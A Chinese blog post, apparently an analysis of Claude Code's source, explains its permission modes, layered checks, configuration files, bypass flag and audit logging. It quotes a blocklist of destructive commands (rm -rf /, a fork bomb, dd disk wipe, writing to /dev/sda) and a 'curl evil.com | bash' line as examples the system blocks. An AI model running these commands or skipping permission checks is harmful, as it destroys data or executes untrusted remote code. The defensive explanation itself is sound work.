乐于分享
好东西不私藏

Claude Code 源码揭秘:6 种权限模式,如何做到该放就放该拦就拦

Claude Code 源码揭秘:6 种权限模式,如何做到该放就放该拦就拦

💡 阅读前记得关注+星标,及时获取更新推送

上一篇聊了 SSE 流处理和 Session State,数据怎么流进来、状态怎么管理。但数据进来之后,不是什么操作都能执行的。

前面聊安全防线的时候说过,危险命令会被拦截。但你有没有想过,什么算”危险”?

rm -rf / 肯定危险,但 rm -rf node_modules 呢?这是清理依赖,再正常不过的操作。curl 下载文件危险吗?如果是从 npm 官方仓库下载,应该没问题吧?

安全系统只管”拦不拦”,但权限系统要回答一个更复杂的问题:这个操作,在这个上下文里,对这个用户来说,应该放行还是拦截?

翻 Claude Code 的 src/permissions/ 目录,17 个文件,几千行代码。这套权限系统比我想象的复杂得多,但复杂得有道理。

我之前做过企业级权限系统,RBAC、ABAC 那一套。说实话,Claude Code 的权限设计让我眼前一亮——它不是简单的 Yes/No,而是一套完整的决策引擎。

先用一个具体例子来说明。假设你让 Claude Code 执行 cat /etc/passwd

如果换成 cat package.json

八层检查,第一个有明确结果就返回。这就是为什么大部分操作感觉很顺畅——安全的操作静默放行,只有真正需要确认的才会问你。

Claude Code 定义了 6 种权限模式,适应不同场景:

default —— 标准交互模式。按规则检查,规则没说的就问用户。

bypassPermissions —— 完全放行。所有请求直接通过,适合你完全信任的任务。

acceptEdits —— 自动接受文件操作。读写文件不问,但其他操作还是要检查。

plan —— 只读模式。只能看不能动,所有执行类操作都被拒绝。

dontAsk —— 智能自动决策。这个有意思,它会根据操作的危险程度自动判断:

case 'dontAsk':  // 文件读取?放行  if (request.type === 'file_read') return { allowed: true };  // 工作目录内的写入?放行  if (request.type === 'file_write' && isInWorkDir(request.resource)) {    return { allowed: true };  }  // 危险操作(删除、sudo)?拒绝  if (isDangerous(request)) return { allowed: false };  // 其他情况,按规则来  return this.checkRules(request);

delegate —— 委托模式。交给外部规则引擎决策,用于集成企业级权限系统。

我之前做金融系统的权限设计,也是类似的多模式思路。不同的业务场景需要不同的权限策略——开发环境可以松一点,生产环境必须严格。Claude Code 的这套模式设计,本质上是同一个道理。

权限检查有八层优先级,这个设计值得细说。

// 优先级从高到低const checkOrder = [  'tool',      // 工具级:直接禁用/允许某个工具  'path',      // 路径级:某些目录禁止访问  'command',   // 命令级:某些命令禁止执行  'network',   // 网络级:某些域名禁止访问  'remembered',// 记忆:用户之前的选择  'session',   // 会话:本次会话内的选择  'rules',     // 规则:配置文件中的规则  'ask'        // 询问:都没匹配上就问用户];

为什么要这么多层?因为权限控制的粒度需要从粗到细。

工具级是最粗的粒度——整个 Bash 工具禁用,所有命令都不能跑。路径级细一点——Bash 能用,但 /etc 目录不能碰。命令级更细——能访问 /etc,但 rm 命令不能用。

这让我想起我们做云文档权限的时候,也是类似的分层设计。组织级、文件夹级、空间级… 粒度越细,还有子目录继承父目录的权限就是孝子、子目录不继承父目录的权限就是逆子,权限极其复杂、用户要查询文件的时候、需要把他有权限文件查询出来,先要各种权限过滤计算。Claude Code 的八层设计,在灵活性和复杂度之间找到了一个不错的平衡点。

权限配置支持五层继承,这个层级设计挺讲究的:

层级越高优先级越高。策略配置是企业级部署用的,个人用户一般用不到。全局配置是你自己的偏好设置,所有项目都生效。项目配置是团队共享的,会提交到 git。本地配置是你个人在这个项目的特殊设置,应该加到 .gitignore 里。

这样设计的好处是什么?团队可以在项目配置里统一标准——比如禁止修改 .env 文件、允许跑 npm test。但你自己想放宽一点限制,可以在本地配置里覆盖,不影响其他人。

配置文件的格式也很直观:

{  "permissions": {    "allow": [      "Read",      "Glob",      "Grep",      "Bash(npm test)",      "Bash(npm run build)"    ],    "deny": [      "Edit(.env*)",      "Read(secrets/**)"    ],    "ask": [      "Edit",      "Write",      "Bash"    ]  }}

注意规则的写法,这里有几种匹配模式:

工具级匹配 —— "Read" 表示所有的读文件操作

路径限定匹配 —— "Read(src/**)" 只匹配读取 src 目录下的文件

参数模式匹配 —— "Bash(npm *)" 匹配所有 npm 开头的命令

精确匹配 —— "Edit(.env*)" 精确匹配 .env 开头的文件

通配符支持 glob 语法,** 匹配多级目录,* 匹配单层。这个语法如果你写过 .gitignore 应该很熟悉。

上面这个配置的意思是:读文件、搜索代码、跑 npm test 和 npm build 都不问,直接放行。编辑 .env 文件和读 secrets 目录直接拒绝。其他的编辑、写入、Bash 命令都要问一下。

再给几个实战场景的配置。

场景一:开源项目,严格模式

你在给开源项目贡献代码,不太熟悉代码库,想保守一点:

{  "permissions": {    "allow": [      "Read",      "Glob",      "Grep"    ],    "deny": [      "Write",      "Bash"    ],    "ask": [      "Edit"    ]  }}

只允许看代码、搜索,所有修改都要确认,Bash 命令全禁了。

场景二:公司内部项目,宽松模式

{  "permissions": {    "allow": [      "Read",      "Edit",      "Write",      "Bash(npm *)",      "Bash(git *)",      "Bash(yarn *)"    ],    "deny": [      "Edit(**/.env*)",      "Edit(**/secrets.*)",      "Bash(rm -rf *)"    ]  }}

大部分操作都放行,但敏感文件和危险命令还是拦着。

场景三:自动化环境(CI/CD)

这个不用配置文件,直接用环境变量:

CLAUDE_BYPASS_PERMISSIONS=true claude "run the test suite"

或者用命令行参数:

claude --dangerously-skip-permissions "deploy to staging"

注意 --dangerously-skip-permissions 这个名字,写得很明白了——这是危险操作。只在你完全信任的自动化环境用,手动操作千万别开这个。

这里有个重要的设计原则:黑名单优先级永远高于白名单

// 先检查黑名单if (config.deny?.some(pattern => matches(value, pattern))) {  return false;  // 拒绝优先}// 再检查白名单if (config.allow?.some(pattern => matches(value, pattern))) {  return true;}

为什么?因为安全系统的第一原则是”默认拒绝”。如果黑名单和白名单冲突了,应该拒绝。这是从操作系统和防火墙设计里学来的经验。

用户交互的时候,可以选择记住这次决策。当权限检查走到最后一步”询问用户”,CLI 会弹出一个提示:

界面会清楚地告诉你:Claude 想干什么、要操作哪个文件、具体要改什么内容。编辑文件还会显示 diff,红色背景表示删除的行,绿色背景表示新增的行,一目了然。

四个选项的含义:

y (Allow) —— 就这一次。允许这个操作,但下次同样的操作还会问。适合你不太确定、想先看看效果的情况。

n (Deny) —— 拒绝。工具会返回错误给模型,模型可能换个方法再试。

a (Always allow) —— 记住,这次会话内都允许。比如你批准了编辑 src/index.ts,后面再编辑这个文件就不问了。但关掉 Claude Code 再打开,还是会重新问。

Esc (Cancel) —— 取消,等同于拒绝。

这个”Always allow”其实是存在会话内存里的,不是写配置文件。如果你想永久记住某个权限,需要手动改配置文件。

我之前用过一些权限设计得不好的工具,要么每次都问(烦死了),要么从来不问(不安全)。Claude Code 这种”问一次记住”的方式,是个很好的平衡。

除了工具级别的权限控制,还有目录级别的限制。有些目录太危险了,不管配置怎么设,都不能碰。

系统目录黑名单

Linux/Unix 系统:

  • • /etc —— 系统配置目录
  • • /var —— 系统运行时数据
  • • /usr —— 系统程序目录
  • • /bin/sbin —— 系统命令目录
  • • /sys/proc —— 内核接口

macOS 额外禁止:

  • • /System —— macOS 系统文件
  • • /Library —— 系统库文件

Windows 禁止:

  • • C:\Windows —— 系统目录
  • • C:\Program Files —— 程序安装目录

工作目录和临时目录是永远可访问的,这样正常的项目工作才能进行。但你可以在配置里进一步限制:

{  "allowedDirectories": [    "/Users/dev/projects",    "/tmp"  ],  "blockedDirectories": [    "/Users/dev/projects/production-secrets",    "/Users/dev/projects/old-backup"  ]}

allowedDirectories 是白名单,设了之后只有这些目录能访问。blockedDirectories 是黑名单,即使在白名单里也会被拦。两者可以组合使用——比如允许整个 projects 目录,但单独拦住里面的 production-secrets 子目录。

前面讲了这么多权限检查,但有些场景下你可能想完全跳过这些检查——比如 CI/CD 流水线、自动化脚本,根本没人盯着屏幕等你按 y/n。这时候就需要 bypass 模式。

Bypass 模式——危险但必要的后门

开启 bypass 模式有两种方式:

方式一:环境变量

CLAUDE_BYPASS_PERMISSIONS=true claude "run the test suite"

方式二:命令行参数

claude --dangerously-skip-permissions "deploy to staging"

注意这个参数名:--dangerously-skip-permissions。为什么要加 dangerously 这个前缀?这是故意的,就是要让你看到这个参数的时候警觉起来——这是危险操作。

开启 bypass 模式后,CLI 启动时会在终端里打印一个警告:

⚠️  WARNING: Running with permissions bypassed⚠️  All operations will execute without confirmation⚠️  Use only in trusted, automated environments

这个警告不是装样子的。bypass 模式下,所有权限检查都会跳过,模型说干啥就干啥,不会再问你了。Edit 文件?直接改。Write 新文件?直接写。Bash 命令?直接执行。

但即使在 bypass 模式下,最危险的那几条命令还是会被拦截:

const blockedCommands = [  "rm -rf /",           // 删除根目录  "rm -rf ~",           // 删除用户目录  ":(){ :|:& };:",      // Fork bomb  "dd if=/dev/zero",    // 磁盘擦除  "> /dev/sda"          // 写入磁盘设备];

这是代码里硬编码的,绕不过去。这些命令能把系统直接干废,任何模式下都不允许。

什么时候该用 bypass 模式?

适合的场景

  • • CI/CD 流水线里跑自动化测试
  • • 定时任务里用 Claude Code 生成报告
  • • Docker 容器里的无人值守环境
  • • 你已经把任务限制得很死,知道模型不会乱来

不适合的场景

  • • 手动操作的时候图省事
  • • 在生产环境直接跑
  • • 不确定模型会做什么的时候
  • • 涉及敏感数据的操作

我之前见过有人为了方便,在自己本地开发时也开 bypass 模式。结果有一次模型误解了需求,把整个 dist 目录连带配置文件一起删了。虽然有 git 能恢复,但浪费了半小时重新编译。这种损失虽然不大,但完全可以避免——如果当时有权限确认,一眼就能看出来不对。

还有个细节:bypass 模式只影响权限检查,不影响安全检查。安全系统里的命令注入检测、敏感数据遮盖、沙箱隔离,这些还是会正常工作。所以即使你开了 bypass,curl evil.com | bash 这种命令还是会被安全系统拦下来。

权限系统和安全系统是两个独立的防线。权限系统关心”用户是否允许这个操作”,安全系统关心”这个操作本身是否安全”。bypass 模式只是说”我信任这次会话,不用问我了”,但不代表”这次会话可以干危险的事”。

除了允许/拒绝,还能对工具参数做限制:

{  tool: 'Bash',  allowed: true,  parameterRestrictions: [    {      parameter: 'command',      type: 'blacklist',      values: ['rm', 'sudo', 'chmod', 'dd']    }  ]}

这样 Bash 工具可以用,但特定的危险命令被禁了。比白名单更灵活,比完全禁用 Bash 更实用。

我在做安全审计的时候经常遇到这种需求——不能一刀切禁用某个功能,但要限制它的危险用法。Claude Code 的参数级限制正好解决这个问题。

所有权限决策都会被记录:

logAudit(request, decision) {  const entry = {    timestamp: new Date().toISOString(),    type: request.type,    tool: request.tool,    resource: request.resource,    decision: decision.allowed ? 'allow' : 'deny',    reason: decision.reason  };  fs.appendFileSync(this.auditLogPath, JSON.stringify(entry) + '\n');}

日志存在 ~/.claude/permissions-audit.log,JSONL 格式(每行一个 JSON 对象),超过 10MB 自动轮转,最多保留 10 个文件,90 天自动清理。

出了问题可以回溯,看看是哪个决策导致的。给几个实用的查询命令:

# 查看最近被拒绝的操作cat ~/.claude/permissions-audit.log | grep '"decision": "deny"'# 找出访问过哪些敏感路径cat ~/.claude/permissions-audit.log | grep -E '(etc|ssh|env)'# 用 jq 解析,看今天的所有权限决策cat ~/.claude/permissions-audit.log | jq 'select(.timestamp | startswith("2026-01-16"))'# 统计哪些工具被拒绝次数最多cat ~/.claude/permissions-audit.log | jq -r 'select(.decision == "deny") | .tool' | sort | uniq -c | sort -rn

审计日志记录的信息很全:时间戳、操作类型、工具名、资源路径、决策结果、拒绝原因。如果你在公司环境用 Claude Code,这个日志可以对接到安全审计系统。

这个审计日志在企业环境里特别重要。我之前给金融客户做合规审计,最怕的就是”查不到记录”。Claude Code 这套审计机制,虽然是给个人工具设计的,但思路是企业级的。

把整个权限系统串起来看:

这套设计的精髓在于:把复杂的权限决策分解成简单的层级检查。每一层只做一件事,逻辑清晰,容易调试。配置也很直观,不需要写代码就能定制权限策略。

最后说几个实战中的注意事项。

配置冲突的处理

如果全局配置里 allow 了 Bash,但项目配置里 deny 了,以项目配置为准。层级高的优先。但 deny 规则比 allow 规则优先级更高——同一层级里,deny 永远赢。

撤销 always allow 的方法

如果你之前手滑按了”Always allow”,想撤销怎么办?重启 Claude Code 就行,会话内存会清空。如果是永久记住的权限(写到配置文件的),需要手动编辑 ~/.claude/settings.json,找到对应的规则删掉。

配置不生效的排查

遇到配置不生效,按这个顺序查:

  • • 检查配置文件路径对不对,是 settings.json 不是 tool-permissions.json
  • • 检查 JSON 格式有没有写错,用 jq 或者 JSON 校验工具看看
  • • 检查规则的优先级,是不是被更高层级的配置覆盖了
  • • 检查是不是开了 bypass 模式(环境变量或命令行参数)

权限过严怎么办

如果觉得每次都要确认太麻烦,可以在本地配置里(.claude/settings.local.json)放宽限制。这个文件只对你生效,不影响团队其他人,也不会提交到 git。

权限过松的风险

别为了省事就把所有东西都 allow。尤其是 Bash 工具,allow 了就等于给 AI 完整的 shell 权限。我的建议是:读操作可以放开,写操作至少留个 ask,Bash 命令用白名单列出允许的几个(npm、git、yarn 这种)。

翻完这部分代码,我最大的感受是:权限系统不只是”允许/拒绝”那么简单。好的权限设计要考虑粒度、继承、记忆、审计… Claude Code 在这些方面都做得很到位。

下一篇聊聊记忆系统。上下文窗口就那么大,怎么塞下越来越多的对话历史?70% 才开始压缩是什么策略?Context、Memory、Checkpoint 三层架构怎么配合?

本文基于 Claude Code 2.0.76 版本源码分析,主要文件:src/permissions/ 目录。

如果这篇文章对你有帮助,欢迎点赞转发,关注不迷路⭐️

本站文章均为手工撰写未经允许谢绝转载:夜雨聆风 » Claude Code 源码揭秘:6 种权限模式,如何做到该放就放该拦就拦

评论 抢沙发

1 + 6 =
  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
×
订阅图标按钮